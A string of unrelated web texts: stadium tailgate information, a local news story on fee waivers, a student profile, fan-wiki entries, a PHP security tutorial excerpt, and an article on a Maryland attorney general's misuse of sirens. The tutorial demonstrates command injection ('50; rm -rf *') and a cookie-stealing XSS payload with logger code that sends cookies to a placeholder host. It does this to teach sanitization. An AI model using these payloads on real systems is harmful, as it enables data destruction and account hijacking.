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Click here to view TTU Alumni / Oregon Tailgate webpage
COOKEVILLE, Tenn. -- Tennessee Tech football fans planning to make the trek to Oregon for the Golden Eagles' Sept. 15 game at the University of Oregon -- or TTU alumni and friends already on the west coast -- are invited to a Tailgate gathering hosted by the TTU Alumni Association.
The tailgate is from 9-11 a.m., and will be located outside University of Oregon's PK Park baseball stadium, 2800 MLK Jr. Blvd., in Eugene. Kickoff is scheduled for 12 noon PDT (2 p.m. CDT), making for an early start for fans planning to include tailgating activities in their gameday experience.
Check the TTU Alumni website via the link above to learn more about the Tailgate event.
Additional information provided by Oregon about attending a game at Autzen Stadium is listed below.
Listed below is detailed information from the Universty of Oregon regarding tailgating and other options at the game at Autzen Stadium:
Gameday Information
PROHIBITED in Autzen Stadium
No alcohol is permitted in the stadium except in licensed pavilions where it may be legally dispensed.
The University of Oregon is now a Smoke & Tobacco Free University. In accordance with this new policy, smoking is not permitted in or around Autzen Stadium.
Open umbrellas will not be permitted in the seating and aisle areas of Autzen Stadium. Glass or metal containers, vacuum bottles or other similar insulated containers (thermos-type containers), open plastic beverage containers (unless empty), weapons, fireworks, laser pointers, explosives or munitions are not permitted inside the stadium. Patrons agree as a condition of the ticket license to allow inspection of any articles capable of concealing these prohibited items.
The throwing of footballs, frisbees, balls, or other such objects is not allowed inside the stadium seating, tunnel or ramp areas.
Accessibility Services
Accessible seating areas for patrons in wheelchairs and a guest are available in Autzen Stadium. To check on availability or make arrangements for accessible seats, please call the Oregon Athletic Ticket Office us at 1-800 WEBFOOT or stop by the Athletic Ticket Office in the Casanova Center.
Accessible parking is available via Entry 5 off Leo Harris Parkway for $20. A DMV issued placard and proof of placard ownership is required for parking. Parking is first come, first served and compliant with Oregon law regarding wheelchair users in specified spaces. Contact 541-346-5293 for more information.
Alternative listening devices are available for checkout from Guest Services.
Courtesy transportation for disabled and senior patrons is available via tram from the lower concourse into the stadium. Trams will run a minimum of 30 minutes and maximum of 1 hour after the end of the game. Shutdown after 30 minutes will vary according to demand.
An elevator providing service for our disabled patrons from the lower concourse to the main concourse is located inside the South Gate. Two main concourse elevators provide service for patrons sitting in the Club Seating area. For more information concerning accommodations related to these services, contact the Duck Ticket Office at (541) 346-4461 or TTY (541) 346-5418.
Automatic Teller Machines
ATMs are available throughout Autzen Stadium on the main concourse during Oregon football games.
Commercial Services
All commercial activities must have prior written approval from the UO Athletics Department.
Duck Store
Visit one of several Duck Store merchandise locations throughout the stadium during the game for your official Duck gear, or the Duck Stores in the Moshofsky Center or in Portland all year round.
Duck Vision
For information on posting birthday or anniversary messages on Duck Vision, please call (541) 346-5417. Orders must be placed at least 10 days in advance of the game and are subject to availability. Click here for the Duck Vision request form.
Please respect the parklands surrounding the
complex by discarding items before leaving Autzen Stadium.
(in the stadium) Garbage containers are located in the main concourse and restroom areas. Blue co-mingle recycling containers are located near concessions & may be used for paper, cardboard & plastic bottles.
(outside the stadium) Garbage containers and blue co-mingle recycling containers are located near gates. Paper, metal, cardboard & plastic can be recycled.
The perimeter gates will open three hours prior to kickoff for Moshofsky Center access. The stadium gates will open 90 minutes prior to kickoff.
Guest Services
Guest Services is located at the east and west ends of the main concourse. Services include alternative listening device (ALD) checkout, lost children, lost & found, advance ticket sales and stadium information.
Lost & Found
During game day, lost & found is located at Guest Services at the east and west ends of the main concourse. The first business day after the game, items such as wallets, cell phones & jewelry are transferred to the Office of Public Safety, (541) 346-5444. All other items (clothing, stadium chairs, etc) are transferred to the EMU Break (541) 346-3711.
Medical Services
Medical Services rooms are located at the east and west ends of the main concourse. In addition, Red Cross teams are located within the seating bowl.
Paging Policy
Spectators in Autzen Stadium will be paged over the public address only in situations warranting an emergency. To contact someone in attendance, call the Office of Public Safety at (541) 346-5444 .
Post-Game Field Access
Per Pac-12 rules, and the safety of players, coaches & officials, fans are not allowed to access the field until 5 minutes after the conclusion of the game.
Directions to Autzen Stadium
From I-5 North
- Take exit 194B to merge onto I-105 W/OR-126 W toward Eugene
- Take exit 2 for Coburg Rd toward Downtown
- Keep left at the fork, follow signs for University of Oregon and merge onto Coburg Rd
- PixelPirate Designs
- Turn right onto Country Club Rd
- Turn left to stay on Country Club Rd
- Turn left onto Club Rd
- Turn right onto Martin Luther King Jr Blvd
- Turn right onto Leo Harris Pkwy Destination will be on the left
From I-5 South
- Take exit 194B to merge onto OR-126 W toward Eugene/I-105 W
- Continue onto I-105 W
- Take exit 2 for Coburg Rd toward Downtown
- Keep left at the fork, follow signs for University of Oregon and merge onto Coburg Rd
- Turn right onto Country Club Rd
- Turn left to stay on Country Club Rd
- Turn left onto Club Rd
- Turn right onto Martin Luther King Jr Blvd
- Turn right onto Leo Harris Pkwy Destination will be on the left
Car and RV Parking
The parking lot will open four hours prior to kickoff and a Reserved parking pass will be required for entry. All Reserved parking passes are given out as a donor benefit to members of the Duck Athletic Fund, except for Accessible (ADA) parking available through Entry 5. ADA parking requires a DMV disabled placard or license plate and costs $20 per game.
There have been many changes to the Autzen Parking Lot due to construction. Please view the map linked below for the current layout.
2012 Autzen Stadium Numbered Parking Map
Reserved Parking
If your reserved space is north of the construction fence, it is recommended you enter the lot through Entry 2. If your bumper is south of the construction fence, it is recommended you enter the lot through Entry 4 or 5. Motor homes will be directed to their reserved location through Entry 4. Entry 3 may be closed due to construction.
RV Parking
Please note that RV parking in the Autzen Stadium lot is only available with a reserved parking pass. There is no individual game parking available in the Autzen Lot.
Science Factory Parking
Season and single game advance parking passes are available adjacent to Autzen Stadium at lots managed by the Science Factory. University of Oregon Alumni Association members receive a 10% discount. For maps and pricing information, please see the Science Factory's web site
Park and Walk
Fans parking on city streets and neighborhoods should comply with all posted parking restrictions, as they are enforced by the City of Eugene. Individuals parking and walking to events should review parking information available below:
EParkEugene.com | Parking.UOregon.edu | Arena Parking District
Bicycle Parking – Duck Pen
Secured bicycle parking will be available for each home football game at the rate of $1 per bicycle. The Duck Pen, serviced and supervised by the Eugene Active 20-30 Club, will open three hours prior to kickoff and close one hour after the game. This secured bicycle area is well-lit and is located between the Science Factory and the Autzen Footbridge. Proceeds collected from bicycle parking will be donated to various children's charities in lane county.
UO DuckExpress – BUS Shuttles
The Sports Shuttles provide the fastest, easiest, and least expensive transportation to Autzen Stadium on game days. The cost is only $6 round trip and is collected during pre-game boarding. Back by popular demand, the DUCKExpress Season Pass is good for all seven home games for only $25 (a savings of 40 percent!). Purchase your season pass online at goducks.com or at the Duck Ticket Office next to Autzen Stadium.
- LTD Eugene Station (Bay I)
- Lane County Fairgrounds (13th & Jackson)
- South Eugene High School (19th & Patterson)
- Valley River Center – Parking Limited (Northwest parking lot)
- LTD River Road Station (River RD. & Beltline)
- Symantec (555 International Way)
- LTD Springfield Station (355 South A St.)
- Thurston High School (333 59th St.)
Shuttle service to Autzen Stadium begins 4 hours before game time. Buses run every 10 to 20 minutes from 8 Park & Ride locations.
Return trips from Autzen Stadium to Park & Ride locations are available ONLY during halftime and immediately following the game. Post-game departures will continue for 60 minutes after the game ends.


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Stonington waives $136,000 in building permit fees for developer; decision divides officials
Stonington - The Board of Selectmen has waived $136,000 in building permit fees for a proposed assisted living facility on the Coogan Farm, despite warnings from longtime Building Official Wayne Greene and Selectwoman Glee McAnanly that the decision has set a dangerous precedent for the town.
The fees, would have provided additional revenue that had not been included in the 2014-15 budget and combined with the $125,876 in fees that Masonicare is paying could have offset the controversial $250,000 cut in the school budget.
"Let's not give up revenue if we are cutting programs and sports in our schools, " McAnanly said.
The waiver is in addition to the 67 percent tax break that Masonicare is receiving. As a nonprofit entity, Masonicare is tax exempt but has agreed to make a $140,000 annual payment in lieu of taxes to the town on the $32 million project. The PILOT fee is 33 percent of what Masonicare would pay if it was a for-profit entity, according to town Director of Finance Maryanna Stevens. Masonicare is paying taxes based on the town budget and not any school-related items.
First Selectman Ed Haberek who negotiated both the building permit waiver and the PILOT payments for the town, did not respond to a request for comment about the waiver on Monday. At last week's selectmen's meeting, when he and Selectman George Crouse supported the waiver, Haberek said it was needed to bring the 179-unit project to town and its accompanying jobs. He called the benefit from the one-time waiver "amazing."
"We can't delay this over a few dollars," added Crouse. "It's a vital thing for the town."
Greene who will be responsible for inspecting the project and reviewing plans to ensure they comply with building and safety codes, opposed the fee waiver.
"We've never done anything like this before. This is a substantial sum of money," he said Monday.
Greene said the project will require an estimated three hours of his workday for the next year or more. He said this means his review, inspection and issuing of permits for other projects such as new homes, additions and businesses renovations will be delayed.
"Things are going to get backed up. I barely keep up with it now," be said.
He said Haberek cut in half the $30,000 he requested to pay someone to help process these other applications when he is working on the Masonicare project.
He said the $15,000 may not be enough and he'll have to ask for more funding. If Greene needs to devote three hours a day to the project, that means the town would need to pay someone to work 780 hours a year to pick up some of Greene's other responsibilities.
In addition to the $117,876 waived last week, the town had previously waived half of the $29,500 fee needed for an outside review of the project, something the town has done with other large projects such as Stone Ridge and Stonington Commons.
Haberek has said that in the past the town has waived building permit fees for nonprofits but McAnanly said none were for such a large amount. Over the past five years the town has waived fees for 21 small projects ranging from $26 for the removal/replacement of furnace by the Mystic VFW to $2,330 for the new paddle tennis courts at the Stonington Community Center. All 21 combined total just a fraction of the Masonicare waiver. While it is a nonprofit entity, Stone Ridge paid $346,316 in building fees.
Green and McAnanly said they are now worried that other nonprofits will now expect to have their building fees waived. McAnanly said she expects the nonprofit developers of the approved, but not built, Spruce Meadows housing project, to now ask for a waiver of their fees.
McAnanly said she was not told of Haberek's proposal to waive the fees until he handed out the proposal at the selectmen's April 23 meeting expecting a vote. She asked that a vote not be held until May 7 meeting because she had questions about the plan.
In addition to the loss of revenue, McAnanly said other towns have not waived building fees because they are hard costs for the town, adding that Masonicare was coming to town anyway. She pointed out the WPCA is not waiving $300,000 in hookup fees it is charging the project and is working out a payment plan.
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ELS Student Story: Jake
ELS/Richmond – Kentucky student ChangYi, "Jake", started ELS at level 105 and has since matriculated to Middle Tennessee State University!
After starting Level 105, Jake excelled at ELS. He made new international friends, got involved in ELS activities and would always take the extra opportunity to practice English outside of the classroom. Jake lived on the Eastern Kentucky University campus, home to ELS/Richmond – Kentucky, alongside native-speaking American students.
Jake completed ELS Level 112 and graduated from the English for Academic Purposes program within 7 months. Since, Jake has matriculated to Middle Tennessee State University, home to ELS/Nashville, to study Film Production.
"I believe that studying in ELS is better and easier for international students to adapt to U.S. society and college life," Jake said about his preparation for university study.
Jake has just finished his first year at Middle Tennessee State University, and has received A's in almost all of his classes.
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Hoom is a fanzine edited by Bee Bowman and Frank Denton, and published by the Wyver's Cave, Mukilteo and Michel Delving Ferry System Press.
Hoom was devoted to the works of author JRR Tolkien. The editors collaborated over a distance, with Bee Bowman in Waynesboro, Virginia, U.S.A., and Frank Denton in Seattle, Washington, U.S.A. The first issue was published in June 1968, with issue 2 following in September, and issue 3 in December of that same year. Issue 4 appeared in April 1969, and issue 5, the last issue, in Fall 1969. It was distributed through NAPA. Hoom included articles, essays, film and book reviews, fiction, poetry, art work, and letters.
Contributors of writing included Gerald Bishop, Kate Bowman, J. B. Drapkin, Tova Inpyn, Paul Novitski (also known as Alpajpuri, editor of Carandaith), Patrick Strang, and Joe Zalabak.
Contributions of poetry came from Michael Gilbert, Harriett Kolchak, Marie Laverty, and R.H. Racwain.
Artwork was by Bee Bowman, Ann Chamberlain, John Closson, Elaine J. Cooke, Frank Denton, Paul Novitski, and Joe Zalabak.
Letters came from Bob Foster, and Paul Novitski, among others.
After Hoom, Frank Denton went on to publish Ash-Wing.


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|"The Boulder and The Hippo no longer fight for others' entertainment. Now, we fight for our kingdom!"
|— The Boulder to Toph.[1]
The Boulder was a professional earthbending wrestler who participated in the Earth Rumble tournaments.[2] He later went on to fight for the Earth Kingdom and assist in the invasion of the Fire Nation along with The Big Bad Hippo.[1]
Though his pro-wrestling "stage accent" may have seemed unintelligent, he spoke with a degree of consideration and eloquence that suggested a greater intellect beneath his bombastic wrestler demeanor. Part of his unique pattern included always referring to himself in the third person and frequently employing earth-related puns, such as "The Boulder is going to win this in a landslide!"
When The Boulder was a combatant in the Earth Rumble VI tournament in 100 AG, he faced The Big Bad Hippo in the first round. After taunting his opponent, The Boulder commenced with a frontal attack by chucking large pieces of rock at The Hippo, who remained unfazed by the assault. Almost knocked out of the ring by The Hippo's unique "rocking the boat"-technique, The Boulder managed to defeat The Hippo by lifting the earth underneath his feet and tossing him out of the arena. This feat of power sparked Katara and Aang's attention, who were spectators of the tournament in search of an earthbending teacher for Aang. Katara commented that The Boulder had some good moves, a statement to which Aang rightfully retorted that The Boulder was more prone to listen to his muscles than anything else.
As the tournament proceeded, The Boulder did what he did best and entertained Sokka and the other spectators by defeating all the other contestants with extravagant moves, progressing easily to the final round of the competition where he met the Blind Bandit. When the Blind Bandit entered the ring, The Boulder announced that he felt conflicted about fighting a young blind girl. However, he declared his conflicted feelings at an end after the Blind Bandit accused him of being scared and threatened to bury her in a "rock-a-lanche". The Blind Bandit challenged The Boulder to attack her, mocking his stage name by calling him "The Pebble". As part of her fighting strategy, the Blind Bandit waited and listened for The Boulder to make the first move. As The Boulder got ready to stomp the ground, the Blind Bandit made her move by sending an earth fissure at him, forcing him to do a painful split. He was subsequently thrown out of the ring with ease, effectively losing the match.[2]
When Aang accidentally defeated the Blind Bandit with his airbending, The Boulder told Xin Fu that he suspected that Aang and the Blind Bandit had worked together to scam the rumble's host and split the reward. When the latter set out to recollect his prize money, The Boulder and the other Earth Rumble VI contestants helped him in this endeavor and kidnapped both the Blind Bandit, also known as Toph, and Aang. In order to ransom them back, The Boulder and Xin Fu left a note asking for five hundred gold pieces.
When Toph's parents paid the ransom to successfully free their daughter, Sokka and Katara wanted to free Aang as well, but were thwarted in their attempt by the band of wrestlers, who wanted to collect the bounty from the Fire Nation for capturing the Avatar. However, as they left the ring, Toph challenged The Boulder and the other fighters, threatening to beat them all again in an earthbending battle in case they refused to release Aang, a comment to which The Boulder took issue. Engulfing the arena in a dust cloud, Toph engaged in a battle with all the wrestlers at once and managed to successfully take out every single one of them. At one point, The Boulder, alongside The Hippo and the Headhunter, confronted Toph. Tag teaming, the three fighters charged at the blind earthbending girl. However, by shifting the ground on which they all stood, Toph was able to defeat them with ease, knocking them out cold.[2]
The Boulder reappeared months later on the day of the invasion of the Fire Nation, alongside The Hippo and many other earthbenders. He stated to Toph that he and The Hippo no longer fought for others' entertainment, but for the good of the Earth Kingdom. During the invasion, The Boulder proved to be a true asset to the invasion force, as he managed to take down several battlements.[1] Ultimately, the plan failed, and The Boulder, along with the other adults from the invasion force, was captured by Fire Nation forces and sent to prison.[3]
He was freed from prison after the Hundred Year War ended and later attended Prince Zuko's coronation as the new Fire Lord.[4]
The Boulder was actually quite bright, although this intelligence was often belied by his bombastic stage persona. He was a determined earthbender who seemed somewhat arrogant, referring to himself in third person, basking in the praise of his fans and, as Aang put it, "listening to his big muscles".[2] However, when it came time for the invasion, it was revealed that he had a great sense of nationalism and patriotic duty to his nation, which contrasted with his earlier attitude in the tournament ring.[1][2]
The Boulder was one of the best earthbending fighters in the Earth Rumble VI tournament. While his style of fighting was less extravagant than the other fighters, he defeated them handily. His straightforward, powerful earthbending skills were effective in their simplicity. However, he was still no match for Toph, who easily defeated him in the final round of the competition with only two moves.[2]
Avatar: The Last Airbender
Book Two: Earth (土)
- 206. "The Blind Bandit"
Book Three: Fire (火)
- 310. "The Day of Black Sun, Part 1: The Invasion"
- 311. "The Day of Black Sun, Part 2: The Eclipse" (no lines)
- 321. "Sozin's Comet, Part 4: Avatar Aang" (no lines)
- According to Toph's ransom letter, The Boulder's name was written as 大石塊 which translates as "big chunk of rock".
- The Boulder was an illeist, referring to himself in third person, such as, "The Boulder is going to win this in a landslide!" He only referred to himself in the first person three times, twice while talking to Xin Fu and once to Toph prior to the invasion of the Fire Nation.
- The Boulder was inspired by real life pro wrestler Dwayne Johnson,[5] also known as "The Rock", who, like The Boulder, refers to himself in the third person when he speaks. According to the Avatar Extras for "The Blind Bandit", the production team tried to get Dwayne Johnson to voice The Boulder, but they were unable to do so, and he was eventually voiced by pro-wrestler Mick Foley, a good friend of The Rock.
- He bore a resemblance to Sud, Roku's earthbending teacher, who was modeled after an early design of Toph.[source?]
- The Boulder had a tattoo of a badgermole on his back.[6]
- ↑ 1.0 1.1 1.2 1.3 DiMartino, Michael Dante (writer) & Volpe, Giancarlo (director). (November 30, 2007). "The Day of Black Sun, Part 1: The Invasion". Avatar: The Last Airbender. Season 3. Episode 10. Nickelodeon.
- ↑ 2.0 2.1 2.2 2.3 2.4 2.5 DiMartino, Michael Dante (writer) & Spaulding, Ethan (director). (May 5, 2006). "The Blind Bandit". Avatar: The Last Airbender. Season 2. Episode 6. Nickelodeon.
- ↑ Ehasz, Aaron (writer) & Dos Santos, Joaquim (director). (November 30, 2007). "The Day of Black Sun, Part 2: The Eclipse". Avatar: The Last Airbender. Season 3. Episode 11. Nickelodeon.
- ↑ DiMartino, Michael Dante, Konietzko, Bryan (writers) & Dos Santos, Joaquim (director). (July 19, 2008). "Sozin's Comet, Part 4: Avatar Aang". Avatar: The Last Airbender. Season 3. Episode 21. Nickelodeon.
- ↑ Avatar: The Last Airbender—The Art of the Animated Series, page 98.
- ↑ From older Avatar: The Last Airbender official site, originally on Nick.com (link). No longer updated, encyclopedia now broken though archived here.


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Hiding PHP
You can also hide, or at least obscure, the fact that you're using PHP to drive your site. Use the expose_php directive to prevent PHP version details from being appended to your Web server signature. Block access to phpinfo() to prevent attackers from learning your software version numbers and other key bits of information. Change document extensions to make it less obvious that pages map to PHP scripts.
expose_php = On | Off
Scope: PHP_INI_SYSTEM ; Default value: On
When enabled, the PHP directive expose_php appends its details to the server signature. For example, if ServerSignature is enabled and ServerTokens is set to Full , and this directive is enabled, the relevant component of the server signature would look like this:
Apache/2.0.44 (Unix) DAV/2 PHP/5.0.0b3-dev Server at www.example.com Port 80
When expose_php is disabled, the server signature will look like this:
Apache/2.0.44 (Unix) DAV/2 Server at www.example.com Port 80
Remove All Instances of phpinfo() Calls
The phpinfo() function offers a great tool for viewing a summary of PHP's configuration on a given server. However, left unprotected on the server, the information it provides is a gold mine for attackers. For example, this function provides information pertinent to the operating system, the PHP and Web server versions, and the configuration flags, and a detailed report regarding all available extensions and their versions. Leaving this information accessible to an attacker will greatly increase the likelihood that a potential attack vector will be revealed and subsequently exploited.
Unfortunately, it appears that many developers are either unaware of or unconcerned with such disclosure because typing phpinfo.php into a search engine yields roughly 336,000 results, many of which point directly to a file executing the phpinfo() command, and therefore offering a bevy of information about the server. A quick refinement of the search criteria to include other key terms results in a subset of the initial results (old, vulnerable PHP versions) that would serve as prime candidates for attack because they use known insecure versions of PHP, Apache, IIS, and various supported extensions.
Allowing others to view the results from phpinfo() is essentially equivalent to providing the general public with a road map to many of your server's technical characteristics and shortcomings. Don't fall victim to an attack simply because you're too lazy to remove or protect this file.
Change the Document Extension
PHP-enabled documents are often easily recognized by their unique extensions, of which the most common include .php , .php3 , and .phtml . Did you know that this can easily be changed to any other extension you wish, even .html , .asp , or .jsp ? Just change the line in your httpd.conf file that reads
AddType application/x-httpd-php .php
by adding whatever extension you please, for example
AddType application/x-httpd-php .asp
Of course, you'll need to be sure that this does not cause a conflict with other installed server technologies.
{mospagebreak title=Hiding Sensitive Data}
Any document located in a Web server's document tree and possessing adequate privilege is fair game for retrieval by any mechanism capable of executing the GET command, even if it isn't linked from another Web page or doesn't end with an extension recognized by the Web server. Not convinced? As an exercise, create a file and inside this file type my secret stuff. Save this file into your public HTML directory under the name of secrets with some really strange extension such as .zkgjg . Obviously, the server isn't going to recognize this extension, but it's going to attempt to serve up the data anyway. Now go to your browser and request that file, using the URL pointing to that file. Scary, isn't it?
Of course, the user would need to know the name of the file he's interested in retrieving. However, just like the presumption that a file containing the phpinfo() function will be named phpinfo.php , a bit of cunning and the ability to exploit deficiencies in the Web server configuration are all one really needs to have to find otherwise restricted files. Fortunately, there are two simple ways to definitively correct this problem, both of which are described in this section.
Hiding the Document Root
Inside Apache's httpd.conf file, you'll find a configuration directive named DocumentRoot. This is set to the path that you would like the server to consider to be the public HTML directory. If no other safeguards have been undertaken, any file found in this path and assigned adequate persmissions is capable of being served, even if the file does not have a recognized extension. However, it is not possible for a user to view a file that resides outside of this path. Therefore, consider placing your configuration files outside of the DocumentRoot path.
To retrieve these files, you can use include() to include those files into any PHP files. For example, assume that you set DocumentRoot like so:
DocumentRoot C:/apache2/htdocs # Window s DocumentRoot /www/apache/home # Unix
Suppose you're using a logging package that writes site access information to a series of text files. You certainly wouldn't want anyone to view those files, so it would be a good idea to place them outside of the document root. Therefore, you could save them to some directory residing outside of the previous paths:
C:/Apache/sitelogs/ # Windows
/usr/local/sitelogs/ # Unix
Denying Access to Certain File Extensions
A second way to prevent users from viewing certain files is to deny access to certain extensions by configuring the httpd.conf file Files directive. Assume that you don't want anyone to access files having the extension .inc . Place the following in your httpd.conf file:
<Files *.inc>
Order allow,deny
Deny from all
After making this addition, restart the Apache server and you will find that access is denied to any user making a request to view a file with the extension .inc via the browser. However, you can still include these files in your scripts. Incidentally, if you search through the httpd.conf file, you will see that this is the same premise used to protect access to .htaccess .
{mospagebreak title=Sanitizing User Data}
Neglecting to review and sanitize user-provided data at every opportunity could provide attackers the opportunity to do massive internal damage to your application, data, and server, and even steal the identity of unsuspecting site users. This section shows you just how significant this danger is by demonstrating two attacks left open to Web sites whose developers have chosen to ignore this necessary safeguard. The first attack results in the deletion of valuable site files, and the second attack results in the hijacking of a random user's identity through an attack technique known as cross-site scripting. This section concludes with an introduction to a few easy data validation solutions that will help remedy this important matter.
File Deletion
To illustrate just how ugly things could get if you neglect validation of user input, suppose that your application requires that user input be passed to some sort of legacy command-line application called inventorymgr that hasn't yet been ported to PHP. Executing such an application by way of PHP requires use of a command execution function such as exec() or system() . The inventorymgr application accepts as input the SKU of a particular product and a recommendation for the number of products that should be reordered. For example, suppose the cherry cheesecake has been particularly popular lately, resulting in a rapid depletion of cherries. The pastry chef might use the application to order 50 more jars of cherries (SKU 50XCH67YU), resulting in the following call to inventorymgr :
$sku = "50XCH67YU";
$inventory = "50";
exec("/opt/inventorymgr ".$sku." ".$inventory);
Now suppose the pastry chef has become deranged from sniffing an overabundance of oven fumes and decides to attempt to destroy the Web site by passing the following string in as the recommended quantity to reorder:
50; rm -rf *
This results in the following command being executed in exec() :
exec("/opt/inventorymgr 50XCH67YU 50; rm -rf *");
The inventorymgr application would indeed execute as intended but would be immediately followed by an attempt to recursively delete every file residing in the directory where the executing PHP script resides.
Cross-Site Scripting
The previous scenario demonstrates just how easily valuable site files could be deleted should user data not be filtered. While it's possible that damage from such an attack could be minimized by restoring a recent backup of the site and corresponding data, it would be considerably more difficult to recover from the damage resulting from the attack demonstrated in this section because it involves the betrayal of a site user that has otherwise placed his trust in the security of your Web site. Known as cross-site scripting, this attack involves the insertion of malicious code into a page frequented by other users (e.g., an online bulletin board). Merely visiting this page can result in the transmission of data to a third party's site, which could allow the attacker to later return and impersonate the unwitting visitor. Let's set up the environment parameters that welcome such an attack.
You should see all of your cookie information for that site posted to a JavaScript alert window similar to that shown in Figure 21-1.
Figure 21-1. Displaying cookie information from a visit to http://www.news.com
Using JavaScript, the attacker can take advantage of unchecked input by embedding a similar command into a Web page and quietly redirecting the information to some script capable of storing it in a text file or a database. The attacker does exactly this, using the forum's comment-posting tool to add the following string to the forum page:
document.location = 'http://www.example.org/logger.php?cookie=' +
The logger.php file might look like this:
<?php // Format variable in easily accessible manner $info = "$cookienn";
// Assign GET variable
$cookie = $_GET['cookie'];
// Format variable in easily accessible manner
$info = "$cookienn";
// Format variable in easily accessible manner $info = "$cookienn";
// Write information to file
$fh = @fopen("/home/cookies.txt", "a");
@fwrite($fh, $info);
// Return to original site
header("Location: http://www.example.com");
Provided the e-commerce site isn't comparing cookie information to a specific IP address, a safeguard that is all too uncommon, all the attacker has to do is assemble the cookie data into a format supported by her browser, and then return to the site from which the information was culled. Chances are she's now masquerading as the innocent user, potentially making unauthorized purchases with her credit card, further defacing the forums, and even wreaking other havoc.
{mospagebreak title=Sanitizing User Input: The Solution}
Given the frightening effects that unchecked user input can have on a Web site and its users, one would think that carrying out the necessary safeguards must be a particularly complex task. After all, the problem is so prevalent within Web applications of all types, prevention must be quite difficult, right? Ironically, preventing these types of attacks is really a trivial affair, accomplished by first passing the input through one of several functions before performing any subsequent task with it. Four standard functions are conveniently available for doing so: escapeshellarg() , escapeshellcmd() , htmlentities() , and strip_tags() .
Note Keep in mind that the safeguards described in this section, and frankly throughout the chapter, while effective, offer only a few of the many possible solutions at your disposal. For instance, in addition to the four functions described in this section, you could also typecast incoming data to make sure it meets the requisite types as expected by the application. Therefore, although you should pay close attention to what's discussed in this chapter, you should also be sure to read as many other security-minded resources as possible to obtain a comprehensive understanding of the topic.
Escaping Shell Arguments
The escapeshellarg() function delimits its arguments with single quotes and escapes quotes. Its prototype follows:
string escapeshellarg(string arguments)
The effect is such that when arguments is passed to a shell command, it will be considered a single argument. This is significant because it lessens the possibility that an attacker could masquerade additional commands as shell command arguments. Therefore, in the previously described file-deletion scenario, all of the user input would be enclosed in single quotes, like so:
/opt/inventorymgr '50XCH67YU' '50; rm -rf *'
Attempting to execute this would mean 50; rm -rf * would be treated by inventorymgr as the requested inventory count. Presuming inventorymgr is validating this value to ensure that it's an integer, the call will fail and no real harm will be done.
Escaping Shell Metacharacters
The escapeshellcmd() function operates under the same premise as escapeshellarg() , but it sanitizes potentially dangerous input program names rather than program arguments. Its prototype follows:
string escapeshellcmd(string command)
This function operates by escaping any shell metacharacters found in the command. These metacharacters include # & ;`, |*?~< >^( ) [ ] { } $ \ .
You should use escapeshellcmd() in any case where the user's input might determine the name of a command to execute. For instance, suppose the inventory-management application is modified to allow the user to call one of two available programs, foodinventorymgr or supplyinventorymgr , by passing along the string food or supply , respectively, together with the SKU and requested amount. The exec() command might look like this:
exec("/opt/".$command."inventorymgr ".$sku." ".$inventory);
Assuming the user plays by the rules, the task will work just fine. However, consider what would happen if the user were to pass along the following as the value to $command :
blah; rm -rf *;
/opt/blah; rm -rf *; inventorymgr 50XCH67YU 50
This assumes the user also passes in 50XCH67YU and 50 as the SKU and inventory number, respectively. These values don't matter anyway because the appropriate inventorymgr command will never be invoked since a bogus command was passed in to execute the nefarious rm command. However, if this material were to be filtered through escapeshellcmd() first, $command would look like this:
blah; rm -rf *;
This means exec() would attempt to execute the command /opt/blah rm -rf , which of course doesn't exist.
Please check back for the conclusion to this series.


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Political Entitlement: Maryland AG Accused Of Regularly Turning On Sirens, Ordering Troopers To Drive Dangerously
from the rules-are-meant-to-be-broken...-by-officials dept
Maryland attorney general Douglas F. Gansler was looking to take a run at the governor's office. The operative word is "was." A stack of reports detailing his thorough abuse of state trooper vehicles (and the troopers themselves) obtained by the Washington Post will put a dent in those aspirations. This isn't just a few tickets being tossed out or a couple of overlooked traffic violations. No, Gansler's abuse was also aspirational in its own way, almost as if he had spotted an opening for "tinpot dictator" and was working his way up the ranks, starting with local law enforcement.
Maryland Attorney General Douglas F. Gansler regularly ordered state troopers assigned to drive him to turn on the lights and sirens on the way to routine appointments, directing them to speed, run red lights and bypass traffic jams by using the shoulder, according to written accounts by the Maryland State Police.Has he ever. For more than five years, Gansler has been playing Mr. Right-of-Way, either by cruising around in law enforcement vehicles unaccompanied or by being the annoying backseat driver who reaches up front to flip on the lights and sirens anytime traffic slows or a light turns red.
When troopers refused to activate the emergency equipment, Gansler, now a Democratic candidate for governor, often flipped the switches himself, according to the police accounts. And on occasion, he became so impatient that he insisted on driving, directing the trooper to the passenger's seat. Gansler once ran four red lights with sirens blaring, a trooper wrote. Another account said he "brags" about driving the vehicle unaccompanied on weekends with the sirens on.
"This extremely irresponsible behavior is non-stop and occurs on a daily basis," Lt. Charles Ardolini, commander of the state police executive protection section, wrote in a December 2011 memo that said the problem had existed for five years. "Attorney General Gansler has consistently acted in a way that disregards public safety, our Troopers safety and even the law."
There are 20 pages of AG misbehavior, which would be highly entertaining if it wasn't for the fact that this man is an arbiter of justice, the man who's supposed to be holding cops accountable, not the other way around.
According to statements from officers who've had the displeasure of working with Gansler, he feels everything should be treated as an emergency.
Everyday AG insists that the Troopers run Code 1 to his events. This includes breakfast, meetings and his children's sporting events. If the Troopers tell him that they have been ordered by their Lieutenant not to do this, he will make negative comments about me and "order" them to put the emergency equipment on. If they do not turn the lights and sirens on he will reach over and turn them on himself. I am told almost daily by the Troopers that they are worried about their safety and the safety of others.Nice. An AG that puts the safety of others behind "breakfast" on the priority list. He also likes to use trooper vehicles as personal vehicles and drive the [[wheels]] bumper off them.
Driving the vehicle himself: On several occasions the Troopers have responded to his house for a pick up and the truck has had damage. Sometimes minor and a few times more severe. (we had to tape the front bumper on once) He freely discusses with the Troopers about how he drives the truck on the weekends and evenings. He also freely discusses driving the vehicle with the lights and sirens on without the Troopers present. Most of the Troopers feel that this is illegal and this makes them very uncomfortable.Throughout the report, Gansler is quoted as telling troopers such things as, "stop signs are optional," "troopers don't sit in traffic" and "I don't care how fast we drive. The faster the better." He also has pointed out to a few troopers that he'd rather do the driving himself whenever they seem hesitant to indulge his desire to break traffic laws. One incident saw him order the trooper to engage the lights and drive on the right shoulder in order to bypass traffic stopped by an accident. His driver did so, passing other unmarked vehicles, including one holding the governor. When the trooper mentioned to Gansler that he might face disciplinary action for driving on the shoulder when there was no emergency, Gansler said, "Oh, OK," and left looking "completely unconcerned."
Gansler also threatened to report troopers that didn't drive "correctly," i.e. run red lights, activate sirens/lights, and exceed the speed limit. He also trashed the two citations he was given, stating he wouldn't pay them.
Gansler blames this on "long-running animosity" between the AG and Lt. Charles Ardolini, the head of the state's executive protection division.
